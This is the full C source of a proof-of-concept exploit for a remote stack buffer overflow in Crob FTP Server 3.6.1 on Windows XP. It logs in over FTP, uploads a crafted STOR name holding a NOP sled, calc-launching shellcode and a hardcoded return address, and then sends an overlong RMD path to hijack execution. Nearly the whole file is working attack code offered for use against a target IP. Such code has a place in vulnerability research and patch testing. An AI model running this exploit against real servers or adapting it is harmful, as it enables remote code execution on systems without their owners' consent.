/*
Crob FTP Server <= 3.6.1 Remote Stack Overflow Exploit
* CrobFTP remote stack overflow PoC
* ---------------------------------
* Tested on Crob FTP Server 3.6.1, Windows XP
*
* Coded by Leon Juranic <ljuranic@lss.hr>
* LSS Security / http://security.lss.hr
*
*/
#include <stdio.h>
#include <windows.h>
#include <time.h>
#pragma comment (lib,"ws2_32")
char
*fzz_recv (
int
sock)
{
fd_set fds;
struct
timeval tv;
static
char
buf[10000];
char
*ptr=buf;
int
n;
tv.tv_sec = 5;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sock,&fds);
if
(select(NULL,&fds,NULL,NULL,&tv) != 0) {
if
(FD_ISSET (sock,&fds)) n=recv (sock,ptr,
sizeof
(buf),0);
buf[n-1] =
'\0'
;
printf
(
"RECV: %s\n"
,buf);
return
buf;
}
else
{
return
NULL;
}
}
int
login (
int
sock,
char
*user,
char
*pass)
{
char
buf[1024], *bla;
bla=fzz_recv(sock);
printf
(
"recv: %s\n"
,bla);
sprintf
(buf,
"USER %s\r\n"
,user);
send (sock,buf,
strlen
(buf),0);
bla=fzz_recv(sock);
printf
(
"recv: %s\n"
,bla);
sprintf
(buf,
"PASS %s\r\n"
,pass);
send (sock,buf,
strlen
(buf),0);
bla=fzz_recv(sock);
printf
(
"recv: %s\n"
,bla);
if
(
strcmp
(
"230"
,bla) != NULL)
return
0;
else
return
-1;
return
0;
}
void
lame_sploit (
char
*pack,
char
*user,
char
*pass)
{
WORD
wVersionRequested;
WSADATA wsaData;
int
sock, err,x;
struct
sockaddr_in
sin
;
char
buf[2000],tmp[1000];
char
*shell=
// 5 min. XP SP1 shellcode
"\x33\xc0"
// xor eax,eax
"\x50"
// push eax (\0)
"\x68\x2e\x65\x78\x65"
// push '.exe'
"\x68\x63\x61\x6c\x63"
// push 'calc'
"\x54"
// push esp
"\xba\x44\x80\xc2\x77"
// mov edx, 77c28044
"\xff\xd2"
;
// call edx (system)
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if
( err != 0 ) {
printf
(
"ERROR: Sorry, cannot create socket!!!\n"
);
ExitProcess(-1);
}
sock=socket(AF_INET,SOCK_STREAM,0);
sin
.sin_family=AF_INET;
sin
.sin_addr.s_addr = inet_addr(pack);
sin
.sin_port = htons(21);
if
(connect(sock,(
struct
sockaddr*)&
sin
,
sizeof
(
struct
sockaddr)) == -1) {
printf
(
"CONNECT :(((\n"
);
ExitProcess(-1);
}
if
(login(sock,user,pass) == -1)
{
printf
(
"ERROR: Cannot login to FTP server, sorry!!!\n"
);
exit
(-1);
}
memset
(tmp,0,
sizeof
(tmp));
memset
(tmp,0x90,180);
memcpy
(&tmp[80],shell,
strlen
(shell));
*(
long
*)&tmp[158] = 0x77da52b8;
// EIP -> ret into 'jmp esp'
*(
long
*)&tmp[166] = 0x74ec8390;
// sub esp,0x74
*(
long
*)&tmp[170] = 0x9090e4ff;
// jmp esp
_snprintf (buf,
sizeof
(buf),
"STOR %s\r\n"
, tmp);
printf
(
"DEBUG: %.30s %d\n"
,buf,
strlen
(buf));
send (sock,buf,
strlen
(buf),0);
printf
(
"%s\n"
,fzz_recv(sock));
strcpy
(buf,
"RMD "
);
for
(x=0;x<276;x++)
strcat
(buf,
".../"
);
strcat
(buf,
"\r\n"
);
printf
(
"Sending exploit strings\n"
);
send (sock,buf,
strlen
(buf),0);
printf
(
"recv: %s\n"
,fzz_recv(sock));
}
main (
int
argc,
char
**argv)
{
printf
(
"CrobFTP Stack overflow PoC \n"
"Coded by Leon Juranic <ljuranic@lss.hr>\n"
"LSS Security / http://security.lss.hr/\n"
);
if
(argc < 4 ) {
printf
(
"\nusage: %s <target_IP> <user> <pass>\n"
,argv[0]);
exit
(-1);
}
lame_sploit(argv[1],argv[2],argv[3]);
}